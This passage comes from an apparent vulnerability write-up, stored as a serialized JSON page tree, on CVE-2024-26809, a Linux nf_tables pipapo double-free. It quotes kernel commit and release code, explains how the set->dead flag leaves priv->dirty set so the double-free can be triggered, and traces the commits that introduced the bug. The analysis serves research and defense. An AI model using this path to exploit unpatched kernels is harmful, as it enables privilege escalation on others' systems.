nft_set_commit_update",{"type":26,"tag":475,"props":52507,"children":52508},{"style":499},[52509],{"type":32,"value":626},{"type":26,"tag":475,"props":52511,"children":52512},{"style":714},[52513],{"type":32,"value":2816},{"type":26,"tag":475,"props":52515,"children":52516},{"style":2375},[52517],{"type":32,"value":52518},"set_update_list",{"type":26,"tag":475,"props":52520,"children":52521},{"style":499},[52522],{"type":32,"value":3533},{"type":26,"tag":475,"props":52524,"children":52525},{"class":477,"line":913},[52526],{"type":26,"tag":475,"props":52527,"children":52528},{"style":499},[52529],{"type":32,"value":2219},{"type":26,"tag":475,"props":52531,"children":52532},{"class":477,"line":926},[52533,52538],{"type":26,"tag":475,"props":52534,"children":52535},{"style":493},[52536],{"type":32,"value":52537}," nf_tables_commit_release",{"type":26,"tag":475,"props":52539,"children":52540},{"style":499},[52541],{"type":32,"value":52542},"(net);\n",{"type":26,"tag":475,"props":52544,"children":52545},{"class":477,"line":948},[52546],{"type":26,"tag":475,"props":52547,"children":52548},{"emptyLinePlaceholder":18},[52549],{"type":32,"value":545},{"type":26,"tag":475,"props":52551,"children":52552},{"class":477,"line":966},[52553,52558,52562],{"type":26,"tag":475,"props":52554,"children":52555},{"style":586},[52556],{"type":32,"value":52557}," return",{"type":26,"tag":475,"props":52559,"children":52560},{"style":903},[52561],{"type":32,"value":2752},{"type":26,"tag":475,"props":52563,"children":52564},{"style":499},[52565],{"type":32,"value":2729},{"type":26,"tag":475,"props":52567,"children":52568},{"class":477,"line":979},[52569],{"type":26,"tag":475,"props":52570,"children":52571},{"style":499},[52572],{"type":32,"value":3607},{"type":26,"tag":35,"props":52574,"children":52575},{},[52576,52577,52583,52585,52590],{"type":32,"value":16319},{"type":26,"tag":53,"props":52578,"children":52580},{"className":52579},[],[52581],{"type":32,"value":52582},"nft_set_commit_update()",{"type":32,"value":52584}," function in the code above will call the ",{"type":26,"tag":53,"props":52586,"children":52588},{"className":52587},[],[52589],{"type":32,"value":52036},{"type":32,"value":52591}," method for any objects that were marked as pending an update.",{"type":26,"tag":465,"props":52593,"children":52595},{"className":16220,"code":52594,"language":2854,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[52596],{"type":26,"tag":53,"props":52597,"children":52598},{"__ignoreMap":7},[52599,52639,52646,52675,52682,52695,52727,52734,52795,52806,52813,52847,52854],{"type":26,"tag":475,"props":52600,"children":52601},{"class":477,"line":478},[52602,52606,52610,52614,52618,52622,52627,52631,52635],{"type":26,"tag":475,"props":52603,"children":52604},{"style":482},[52605],{"type":32,"value":50736},{"type":26,"tag":475,"props":52607,"children":52608},{"style":482},[52609],{"type":32,"value":50741},{"type":26,"tag":475,"props":52611,"children":52612},{"style":493},[52613],{"type":32,"value":52505},{"type":26,"tag":475,"props":52615,"children":52616},{"style":499},[52617],{"type":32,"value":626},{"type":26,"tag":475,"props":52619,"children":52620},{"style":482},[52621],{"type":32,"value":9111},{"type":26,"tag":475,"props":52623,"children":52624},{"style":499},[52625],{"type":32,"value":52626}," list_head ",{"type":26,"tag":475,"props":52628,"children":52629},{"style":714},[52630],{"type":32,"value":4282},{"type":26,"tag":475,"props":52632,"children":52633},{"style":2375},[52634],{"type":32,"value":52518},{"type":26,"tag":475,"props":52636,"children":52637},{"style":499},[52638],{"type":32,"value":647},{"type":26,"tag":475,"props":52640,"children":52641},{"class":477,"line":516},[52642],{"type":26,"tag":475,"props":52643,"children":52644},{"style":499},[52645],{"type":32,"value":10589},{"type":26,"tag":475,"props":52647,"children":52648},{"class":477,"line":539},[52649,52653,52657,52661,52666,52670],{"type":26,"tag":475,"props":52650,"children":52651},{"style":482},[52652],{"type":32,"value":20859},{"type":26,"tag":475,"props":52654,"children":52655},{"style":499},[52656],{"type":32,"value":50791},{"type":26,"tag":475,"props":52658,"children":52659},{"style":714},[52660],{"type":32,"value":4282},{"type":26,"tag":475,"props":52662,"children":52663},{"style":499},[52664],{"type":32,"value":52665},"set, ",{"type":26,"tag":475,"props":52667,"children":52668},{"style":714},[52669],{"type":32,"value":4282},{"type":26,"tag":475,"props":52671,"children":52672},{"style":499},[52673],{"type":32,"value":52674},"next;\n",{"type":26,"tag":475,"props":52676,"children":52677},{"class":477,"line":548},[52678],{"type":26,"tag":475,"props":52679,"children":52680},{"emptyLinePlaceholder":18},[52681],{"type":32,"value":545},{"type":26,"tag":475,"props":52683,"children":52684},{"class":477,"line":558},[52685,52690],{"type":26,"tag":475,"props":52686,"children":52687},{"style":493},[52688],{"type":32,"value":52689}," list_for_each_entry_safe",{"type":26,"tag":475,"props":52691,"children":52692},{"style":499},[52693],{"type":32,"value":52694},"(set, next, set_update_list, pending_update) {\n",{"type":26,"tag":475,"props":52696,"children":52697},{"class":477,"line":582},[52698,52703,52707,52711,52715,52719,52723],{"type":26,"tag":475,"props":52699,"children":52700},{"style":493},[52701],{"type":32,"value":52702}," list_del_init",{"type":26,"tag":475,"props":52704,"children":52705},{"style":499},[52706],{"type":32,"value":626},{"type":26,"tag":475,"props":52708,"children":52709},{"style":714},[52710],{"type":32,"value":2816},{"type":26,"tag":475,"props":52712,"children":52713},{"style":2375},[52714],{"type":32,"value":50711},{"type":26,"tag":475,"props":52716,"children":52717},{"style":499},[52718],{"type":32,"value":13464},{"type":26,"tag":475,"props":52720,"children":52721},{"style":2375},[52722],{"type":32,"value":52412},{"type":26,"tag":475,"props":52724,"children":52725},{"style":499},[52726],{"type":32,"value":3533},{"type":26,"tag":475,"props":52728,"children":52729},{"class":477,"line":596},[52730],{"type":26,"tag":475,"props":52731,"children":52732},{"emptyLinePlaceholder":18},[52733],{"type":32,"value":545},{"type":26,"tag":475,"props":52735,"children":52736},{"class":477,"line":610},[52737,52741,52745,52749,52753,52757,52761,52765,52769,52773,52778,52782,52786,52790],{"type":26,"tag":475,"props":52738,"children":52739},{"style":586},[52740],{"type":32,"value":31094},{"type":26,"tag":475,"props":52742,"children":52743},{"style":499},[52744],{"type":32,"value":2775},{"type":26,"tag":475,"props":52746,"children":52747},{"style":714},[52748],{"type":32,"value":20329},{"type":26,"tag":475,"props":52750,"children":52751},{"style":2375},[52752],{"type":32,"value":50711},{"type":26,"tag":475,"props":52754,"children":52755},{"style":499},[52756],{"type":32,"value":13464},{"type":26,"tag":475,"props":52758,"children":52759},{"style":2375},[52760],{"type":32,"value":52361},{"type":26,"tag":475,"props":52762,"children":52763},{"style":499},[52764],{"type":32,"value":13464},{"type":26,"tag":475,"props":52766,"children":52767},{"style":2375},[52768],{"type":32,"value":52370},{"type":26,"tag":475,"props":52770,"children":52771},{"style":714},[52772],{"type":32,"value":23407},{"type":26,"tag":475,"props":52774,"children":52775},{"style":2375},[52776],{"type":32,"value":52777}," set",{"type":26,"tag":475,"props":52779,"children":52780},{"style":499},[52781],{"type":32,"value":13464},{"type":26,"tag":475,"props":52783,"children":52784},{"style":2375},[52785],{"type":32,"value":52180},{"type":26,"tag":475,"props":52787,"children":52788},{"style":499},[52789],{"type":32,"value":2835},{"type":26,"tag":475,"props":52791,"children":52792},{"style":552},[52793],{"type":32,"value":52794}," // [4]\n",{"type":26,"tag":475,"props":52796,"children":52797},{"class":477,"line":650},[52798,52802],{"type":26,"tag":475,"props":52799,"children":52800},{"style":586},[52801],{"type":32,"value":51182},{"type":26,"tag":475,"props":52803,"children":52804},{"style":499},[52805],{"type":32,"value":2729},{"type":26,"tag":475,"props":52807,"children":52808},{"class":477,"line":679},[52809],{"type":26,"tag":475,"props":52810,"children":52811},{"emptyLinePlaceholder":18},[52812],{"type":32,"value":545},{"type":26,"tag":475,"props":52814,"children":52815},{"class":477,"line":735},[52816,52821,52825,52829,52833,52837,52842],{"type":26,"tag":475,"props":52817,"children":52818},{"style":2375},[52819],{"type":32,"value":52820}," set",{"type":26,"tag":475,"props":52822,"children":52823},{"style":499},[52824],{"type":32,"value":13464},{"type":26,"tag":475,"props":52826,"children":52827},{"style":2375},[52828],{"type":32,"value":52361},{"type":26,"tag":475,"props":52830,"children":52831},{"style":499},[52832],{"type":32,"value":13464},{"type":26,"tag":475,"props":52834,"children":52835},{"style":493},[52836],{"type":32,"value":52370},{"type":26,"tag":475,"props":52838,"children":52839},{"style":499},[52840],{"type":32,"value":52841},"(set);",{"type":26,"tag":475,"props":52843,"children":52844},{"style":552},[52845],{"type":32,"value":52846}," // [5]\n",{"type":26,"tag":475,"props":52848,"children":52849},{"class":477,"line":744},[52850],{"type":26,"tag":475,"props":52851,"children":52852},{"style":499},[52853],{"type":32,"value":1116},{"type":26,"tag":475,"props":52855,"children":52856},{"class":477,"line":753},[52857],{"type":26,"tag":475,"props":52858,"children":52859},{"style":499},[52860],{"type":32,"value":3607},{"type":26,"tag":35,"props":52862,"children":52863},{},[52864,52866,52872,52874,52879,52880,52885],{"type":32,"value":52865},"Later on, the ",{"type":26,"tag":53,"props":52867,"children":52869},{"className":52868},[],[52870],{"type":32,"value":52871},"nf_tables_commit_release()",{"type":32,"value":52873}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":26,"tag":53,"props":52875,"children":52877},{"className":52876},[],[52878],{"type":32,"value":50711},{"type":32,"value":52030},{"type":26,"tag":53,"props":52881,"children":52883},{"className":52882},[],[52884],{"type":32,"value":52044},{"type":32,"value":52886}," method.",{"type":26,"tag":465,"props":52888,"children":52890},{"className":16220,"code":52889,"language":2854,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[52891],{"type":26,"tag":53,"props":52892,"children":52893},{"__ignoreMap":7},[52894,52933,52940,52947,52968,52975,52982,52989,53030,53037,53044,53065,53078,53090,53097,53104,53111,53152,53159,53187,53194,53207,53219,53260,53267,53274,53281,53339,53346,53353,53382,53389],{"type":26,"tag":475,"props":52895,"children":52896},{"class":477,"line":478},[52897,52901,52905,52909,52913,52917,52921,52925,52929],{"type":26,"tag":475,"props":52898,"children":52899},{"style":482},[52900],{"type":32,"value":50736},{"type":26,"tag":475,"props":52902,"children":52903},{"style":482},[52904],{"type":32,"value":50741},{"type":26,"tag":475,"props":52906,"children":52907},{"style":493},[52908],{"type":32,"value":52537},{"type":26,"tag":475,"props":52910,"children":52911},{"style":499},[52912],{"type":32,"value":626},{"type":26,"tag":475,"props":52914,"children":52915},{"style":482},[52916],{"type":32,"value":9111},{"type":26,"tag":475,"props":52918,"children":52919},{"style":499},[52920],{"type":32,"value":51693},{"type":26,"tag":475,"props":52922,"children":52923},{"style":714},[52924],{"type":32,"value":4282},{"type":26,"tag":475,"props":52926,"children":52927},{"style":2375},[52928],{"type":32,"value":51702},{"type":26,"tag":475,"props":52930,"children":52931},{"style":499},[52932],{"type":32,"value":647},{"type":26,"tag":475,"props":52934,"children":52935},{"class":477,"line":516},[52936],{"type":26,"tag":475,"props":52937,"children":52938},{"style":499},[52939],{"type":32,"value":10589},{"type":26,"tag":475,"props":52941,"children":52942},{"class":477,"line":539},[52943],{"type":26,"tag":475,"props":52944,"children":52945},{"style":499},[52946],{"type":32,"value":2219},{"type":26,"tag":475,"props":52948,"children":52949},{"class":477,"line":548},[52950,52955,52959,52963],{"type":26,"tag":475,"props":52951,"children":52952},{"style":493},[52953],{"type":32,"value":52954}," schedule_work",{"type":26,"tag":475,"props":52956,"children":52957},{"style":499},[52958],{"type":32,"value":626},{"type":26,"tag":475,"props":52960,"children":52961},{"style":714},[52962],{"type":32,"value":2816},{"type":26,"tag":475,"props":52964,"children":52965},{"style":499},[52966],{"type":32,"value":52967},"trans_destroy_work);\n",{"type":26,"tag":475,"props":52969,"children":52970},{"class":477,"line":558},[52971],{"type":26,"tag":475,"props":52972,"children":52973},{"style":499},[52974],{"type":32,"value":2219},{"type":26,"tag":475,"props":52976,"children":52977},{"class":477,"line":582},[52978],{"type":26,"tag":475,"props":52979,"children":52980},{"style":499},[52981],{"type":32,"value":3607},{"type":26,"tag":475,"props":52983,"children":52984},{"class":477,"line":596},[52985],{"type":26,"tag":475,"props":52986,"children":52987},{"style":499},[52988],{"type":32,"value":2219},{"type":26,"tag":475,"props":52990,"children":52991},{"class":477,"line":610},[52992,52996,53000,53005,53009,53013,53018,53022,53026],{"type":26,"tag":475,"props":52993,"children":52994},{"style":482},[52995],{"type":32,"value":50736},{"type":26,"tag":475,"props":52997,"children":52998},{"style":482},[52999],{"type":32,"value":50741},{"type":26,"tag":475,"props":53001,"children":53002},{"style":493},[53003],{"type":32,"value":53004}," nf_tables_trans_destroy_work",{"type":26,"tag":475,"props":53006,"children":53007},{"style":499},[53008],{"type":32,"value":626},{"type":26,"tag":475,"props":53010,"children":53011},{"style":482},[53012],{"type":32,"value":9111},{"type":26,"tag":475,"props":53014,"children":53015},{"style":499},[53016],{"type":32,"value":53017}," work_struct ",{"type":26,"tag":475,"props":53019,"children":53020},{"style":714},[53021],{"type":32,"value":4282},{"type":26,"tag":475,"props":53023,"children":53024},{"style":2375},[53025],{"type":32,"value":49264},{"type":26,"tag":475,"props":53027,"children":53028},{"style":499},[53029],{"type":32,"value":647},{"type":26,"tag":475,"props":53031,"children":53032},{"class":477,"line":650},[53033],{"type":26,"tag":475,"props":53034,"children":53035},{"style":499},[53036],{"type":32,"value":10589},{"type":26,"tag":475,"props":53038,"children":53039},{"class":477,"line":679},[53040],{"type":26,"tag":475,"props":53041,"children":53042},{"style":499},[53043],{"type":32,"value":2219},{"type":26,"tag":475,"props":53045,"children":53046},{"class":477,"line":735},[53047,53051,53056,53060],{"type":26,"tag":475,"props":53048,"children":53049},{"style":493},[53050],{"type":32,"value":52689},{"type":26,"tag":475,"props":53052,"children":53053},{"style":499},[53054],{"type":32,"value":53055},"(trans, next, ",{"type":26,"tag":475,"props":53057,"children":53058},{"style":714},[53059],{"type":32,"value":2816},{"type":26,"tag":475,"props":53061,"children":53062},{"style":499},[53063],{"type":32,"value":53064},"head, list) {\n",{"type":26,"tag":475,"props":53066,"children":53067},{"class":477,"line":744},[53068,53073],{"type":26,"tag":475,"props":53069,"children":53070},{"style":493},[53071],{"type":32,"value":53072}," nft_trans_list_del",{"type":26,"tag":475,"props":53074,"children":53075},{"style":499},[53076],{"type":32,"value":53077},"(trans);\n",{"type":26,"tag":475,"props":53079,"children":53080},{"class":477,"line":753},[53081,53086],{"type":26,"tag":475,"props":53082,"children":53083},{"style":493},[53084],{"type":32,"value":53085}," nft_commit_release",{"type":26,"tag":475,"props":53087,"children":53088},{"style":499},[53089],{"type":32,"value":53077},{"type":26,"tag":475,"props":53091,"children":53092},{"class":477,"line":761},[53093],{"type":26,"tag":475,"props":53094,"children":53095},{"style":499},[53096],{"type":32,"value":1116},{"type":26,"tag":475,"props":53098,"children":53099},{"class":477,"line":770},[53100],{"type":26,"tag":475,"props":53101,"children":53102},{"style":499},[53103],{"type":32,"value":3607},{"type":26,"tag":475,"props":53105,"children":53106},{"class":477,"line":794},[53107],{"type":26,"tag":475,"props":53108,"children":53109},{"style":499},[53110],{"type":32,"value":2219},{"type":26,"tag":475,"props":53112,"children":53113},{"class":477,"line":831},[53114,53118,53122,53127,53131,53135,53140,53144,53148],{"type":26,"tag":475,"props":53115,"children":53116},{"style":482},[53117],{"type":32,"value":50736},{"type":26,"tag":475,"props":53119,"children":53120},{"style":482},[53121],{"type":32,"value":50741},{"type":26,"tag":475,"props":53123,"children":53124},{"style":493},[53125],{"type":32,"value":53126}," nft_commit_release",{"type":26,"tag":475,"props":53128,"children":53129},{"style":499},[53130],{"type":32,"value":626},{"type":26,"tag":475,"props":53132,"children":53133},{"style":482},[53134],{"type":32,"value":9111},{"type":26,"tag":475,"props":53136,"children":53137},{"style":499},[53138],{"type":32,"value":53139}," nft_trans ",{"type":26,"tag":475,"props":53141,"children":53142},{"style":714},[53143],{"type":32,"value":4282},{"type":26,"tag":475,"props":53145,"children":53146},{"style":2375},[53147],{"type":32,"value":52252},{"type":26,"tag":475,"props":53149,"children":53150},{"style":499},[53151],{"type":32,"value":647},{"type":26,"tag":475,"props":53153,"children":53154},{"class":477,"line":845},[53155],{"type":26,"tag":475,"props":53156,"children":53157},{"style":499},[53158],{"type":32,"value":10589},{"type":26,"tag":475,"props":53160,"children":53161},{"class":477,"line":854},[53162,53167,53171,53175,53179,53183],{"type":26,"tag":475,"props":53163,"children":53164},{"style":586},[53165],{"type":32,"value":53166}," switch",{"type":26,"tag":475,"props":53168,"children":53169},{"style":499},[53170],{"type":32,"value":2775},{"type":26,"tag":475,"props":53172,"children":53173},{"style":2375},[53174],{"type":32,"value":52252},{"type":26,"tag":475,"props":53176,"children":53177},{"style":499},[53178],{"type":32,"value":13464},{"type":26,"tag":475,"props":53180,"children":53181},{"style":2375},[53182],{"type":32,"value":52290},{"type":26,"tag":475,"props":53184,"children":53185},{"style":499},[53186],{"type":32,"value":676},{"type":26,"tag":475,"props":53188,"children":53189},{"class":477,"line":862},[53190],{"type":26,"tag":475,"props":53191,"children":53192},{"style":499},[53193],{"type":32,"value":2219},{"type":26,"tag":475,"props":53195,"children":53196},{"class":477,"line":885},[53197,53202],{"type":26,"tag":475,"props":53198,"children":53199},{"style":586},[53200],{"type":32,"value":53201}," case",{"type":26,"tag":475,"props":53203,"children":53204},{"style":499},[53205],{"type":32,"value":53206}," NFT_MSG_DELSET:\n",{"type":26,"tag":475,"props":53208,"children":53209},{"class":477,"line":913},[53210,53214],{"type":26,"tag":475,"props":53211,"children":53212},{"style":586},[53213],{"type":32,"value":53201},{"type":26,"tag":475,"props":53215,"children":53216},{"style":499},[53217],{"type":32,"value":53218}," NFT_MSG_DESTROYSET:\n",{"type":26,"tag":475,"props":53220,"children":53221},{"class":477,"line":926},[53222,53227,53231,53235,53239,53243,53247,53251,53255],{"type":26,"tag":475,"props":53223,"children":53224},{"style":493},[53225],{"type":32,"value":53226}," nft_set_destroy",{"type":26,"tag":475,"props":53228,"children":53229},{"style":499},[53230],{"type":32,"value":626},{"type":26,"tag":475,"props":53232,"children":53233},{"style":714},[53234],{"type":32,"value":2816},{"type":26,"tag":475,"props":53236,"children":53237},{"style":499},[53238],{"type":32,"value":52252},{"type":26,"tag":475,"props":53240,"children":53241},{"style":714},[53242],{"type":32,"value":13464},{"type":26,"tag":475,"props":53244,"children":53245},{"style":2375},[53246],{"type":32,"value":19988},{"type":26,"tag":475,"props":53248,"children":53249},{"style":499},[53250],{"type":32,"value":637},{"type":26,"tag":475,"props":53252,"children":53253},{"style":493},[53254],{"type":32,"value":52218},{"type":26,"tag":475,"props":53256,"children":53257},{"style":499},[53258],{"type":32,"value":53259},"(trans));\n",{"type":26,"tag":475,"props":53261,"children":53262},{"class":477,"line":948},[53263],{"type":26,"tag":475,"props":53264,"children":53265},{"style":499},[53266],{"type":32,"value":2219},{"type":26,"tag":475,"props":53268,"children":53269},{"class":477,"line":966},[53270],{"type":26,"tag":475,"props":53271,"children":53272},{"style":499},[53273],{"type":32,"value":3607},{"type":26,"tag":475,"props":53275,"children":53276},{"class":477,"line":979},[53277],{"type":26,"tag":475,"props":53278,"children":53279},{"style":499},[53280],{"type":32,"value":2219},{"type":26,"tag":475,"props":53282,"children":53283},{"class":477,"line":1006},[53284,53288,53292,53297,53301,53305,53309,53313,53317,53322,53326,53330,53334],{"type":26,"tag":475,"props":53285,"children":53286},{"style":482},[53287],{"type":32,"value":50736},{"type":26,"tag":475,"props":53289,"children":53290},{"style":482},[53291],{"type":32,"value":50741},{"type":26,"tag":475,"props":53293,"children":53294},{"style":493},[53295],{"type":32,"value":53296}," nft_set_destroy",{"type":26,"tag":475,"props":53298,"children":53299},{"style":499},[53300],{"type":32,"value":626},{"type":26,"tag":475,"props":53302,"children":53303},{"style":482},[53304],{"type":32,"value":9363},{"type":26,"tag":475,"props":53306,"children":53307},{"style":482},[53308],{"type":32,"value":20859},{"type":26,"tag":475,"props":53310,"children":53311},{"style":499},[53312],{"type":32,"value":50763},{"type":26,"tag":475,"props":53314,"children":53315},{"style":714},[53316],{"type":32,"value":4282},{"type":26,"tag":475,"props":53318,"children":53319},{"style":499},[53320],{"type":32,"value":53321},"ctx, ",{"type":26,"tag":475,"props":53323,"children":53324},{"style":482},[53325],{"type":32,"value":9111},{"type":26,"tag":475,"props":53327,"children":53328},{"style":499},[53329],{"type":32,"value":50791},{"type":26,"tag":475,"props":53331,"children":53332},{"style":714},[53333],{"type":32,"value":4282},{"type":26,"tag":475,"props":53335,"children":53336},{"style":499},[53337],{"type":32,"value":53338},"set)\n",{"type":26,"tag":475,"props":53340,"children":53341},{"class":477,"line":1046},[53342],{"type":26,"tag":475,"props":53343,"children":53344},{"style":499},[53345],{"type":32,"value":10589},{"type":26,"tag":475,"props":53347,"children":53348},{"class":477,"line":1068},[53349],{"type":26,"tag":475,"props":53350,"children":53351},{"style":499},[53352],{"type":32,"value":2219},{"type":26,"tag":475,"props":53354,"children":53355},{"class":477,"line":1077},[53356,53360,53364,53368,53372,53377],{"type":26,"tag":475,"props":53357,"children":53358},{"style":2375},[53359],{"type":32,"value":52777},{"type":26,"tag":475,"props":53361,"children":53362},{"style":499},[53363],{"type":32,"value":13464},{"type":26,"tag":475,"props":53365,"children":53366},{"style":2375},[53367],{"type":32,"value":52361},{"type":26,"tag":475,"props":53369,"children":53370},{"style":499},[53371],{"type":32,"value":13464},{"type":26,"tag":475,"props":53373,"children":53374},{"style":493},[53375],{"type":32,"value":53376},"destroy",{"type":26,"tag":475,"props":53378,"children":53379},{"style":499},[53380],{"type":32,"value":53381},"(ctx, set);\n",{"type":26,"tag":475,"props":53383,"children":53384},{"class":477,"line":1090},[53385],{"type":26,"tag":475,"props":53386,"children":53387},{"style":499},[53388],{"type":32,"value":2219},{"type":26,"tag":475,"props":53390,"children":53391},{"class":477,"line":1119},[53392],{"type":26,"tag":475,"props":53393,"children":53394},{"style":499},[53395],{"type":32,"value":3607},{"type":26,"tag":35,"props":53397,"children":53398},{},[53399,53401,53406,53408,53413,53415,53421,53423,53428,53430,53435,53437,53441,53443,53448,53449,53453,53455,53461],{"type":32,"value":53400},"It may appear as if it would be impossible to make ",{"type":26,"tag":53,"props":53402,"children":53404},{"className":53403},[],[53405],{"type":32,"value":50665},{"type":32,"value":53407}," true in the release step because the ",{"type":26,"tag":53,"props":53409,"children":53411},{"className":53410},[],[53412],{"type":32,"value":52036},{"type":32,"value":53414}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":26,"tag":53,"props":53416,"children":53418},{"className":53417},[],[53419],{"type":32,"value":53420},"set->dead",{"type":32,"value":53422}," flag. If a ",{"type":26,"tag":53,"props":53424,"children":53426},{"className":53425},[],[53427],{"type":32,"value":50711},{"type":32,"value":53429}," was marked for deletion, it receives the ",{"type":26,"tag":53,"props":53431,"children":53433},{"className":53432},[],[53434],{"type":32,"value":53420},{"type":32,"value":53436}," flag ",{"type":26,"tag":475,"props":53438,"children":53439},{},[53440],{"type":32,"value":2830},{"type":32,"value":53442},". If this flag is set, then the commit path will skip any commitments to this ",{"type":26,"tag":53,"props":53444,"children":53446},{"className":53445},[],[53447],{"type":32,"value":50711},{"type":32,"value":6171},{"type":26,"tag":475,"props":53450,"children":53451},{},[53452],{"type":32,"value":17235},{"type":32,"value":53454},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":26,"tag":53,"props":53456,"children":53458},{"className":53457},[],[53459],{"type":32,"value":53460},"priv ->dirty",{"type":32,"value":53462}," flag is not cleared when it should have been.",{"type":26,"tag":27,"props":53464,"children":53466},{"id":53465},"tracing-the-guilty-commit",[53467],{"type":32,"value":53468},"Tracing the guilty commit",{"type":26,"tag":35,"props":53470,"children":53471},{},[53472,53474,53481,53483,53489,53491,53496,53498,53504],{"type":32,"value":53473},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":26,"tag":116,"props":53475,"children":53478},{"href":53476,"rel":53477},"https://ubuntu.com/security/CVE-2024-26809",[120],[53479],{"type":32,"value":53480},"advisories",{"type":32,"value":53482}," about this vulnerability will say it was introduced by this ",{"type":26,"tag":116,"props":53484,"children":53487},{"href":53485,"rel":53486},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[120],[53488],{"type":32,"value":52370},{"type":32,"value":53490},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":26,"tag":53,"props":53492,"children":53494},{"className":53493},[],[53495],{"type":32,"value":53420},{"type":32,"value":53497}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":26,"tag":116,"props":53499,"children":53502},{"href":53500,"rel":53501},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[120],[53503],{"type":32,"value":52370},{"type":32,"value":353},{"type":26,"tag":35,"props":53506,"children":53507},{},[53508],{"type":32,"value":53509},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":26,"tag":465,"props":53511,"children":53515},{"className":53512,"code":53513,"language":53514,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[53516],{"type":26,"tag":53,"props":53517,"children":53518},{"__ignoreMap":7},[53519,53527,53535,53542,53550,53558,53565,53573,53580,53588,53596,53603,53611,53619,53627,53635,53643,53651,53659,53667,53675,53682,53690,53698,53705,53713,53721,53729,53737,53745,53752,53760,53768],{"type":26,"tag":475,"props":53520,"children":53521},{"class":477,"line":478},[53522],{"type":26,"tag":475,"props":53523,"children":53524},{},[53525],{"type":32,"value":53526},"New elements that reside in the clone are not released in case that the\n",{"type":26,"tag":475,"props":53528,"children":53529},{"class":477,"line":516},[53530],{"type":26,"tag":475,"props":53531,"children":53532},{},[53533],{"type":32,"value":53534},"transaction is aborted.\n",{"type":26,"tag":475,"props":53536,"children":53537},{"class":477,"line":539},[53538],{"type":26,"tag":475,"props":53539,"children":53540},{"emptyLinePlaceholder":18},[53541],{"type":32,"value":545},{"type":26,"tag":475,"props":53543,"children":53544},{"class":477,"line":548},[53545],{"type":26,"tag":475,"props":53546,"children":53547},{},[53548],{"type":32,"value":53549},"[16302.231754] ------------[ cut here ]------------\n",{"type":26,"tag":475,"props":53551,"children":53552},{"class":477,"line":558},[53553],{"type":26,"tag":475,"props":53554,"children":53555},{},[53556],{"type":32,"value":53557},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":26,"tag":475,"props":53559,"children":53560},{"class":477,"line":582},[53561],{"type":26,"tag":475,"props":53562,"children":53563},{},[53564],{"type":32,"value":2219},{"type":26,"tag":475,"props":53566,"children":53567},{"class":477,"line":596},[53568],{"type":26,"tag":475,"props":53569,"children":53570},{},[53571],{"type":32,"value":53572},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ 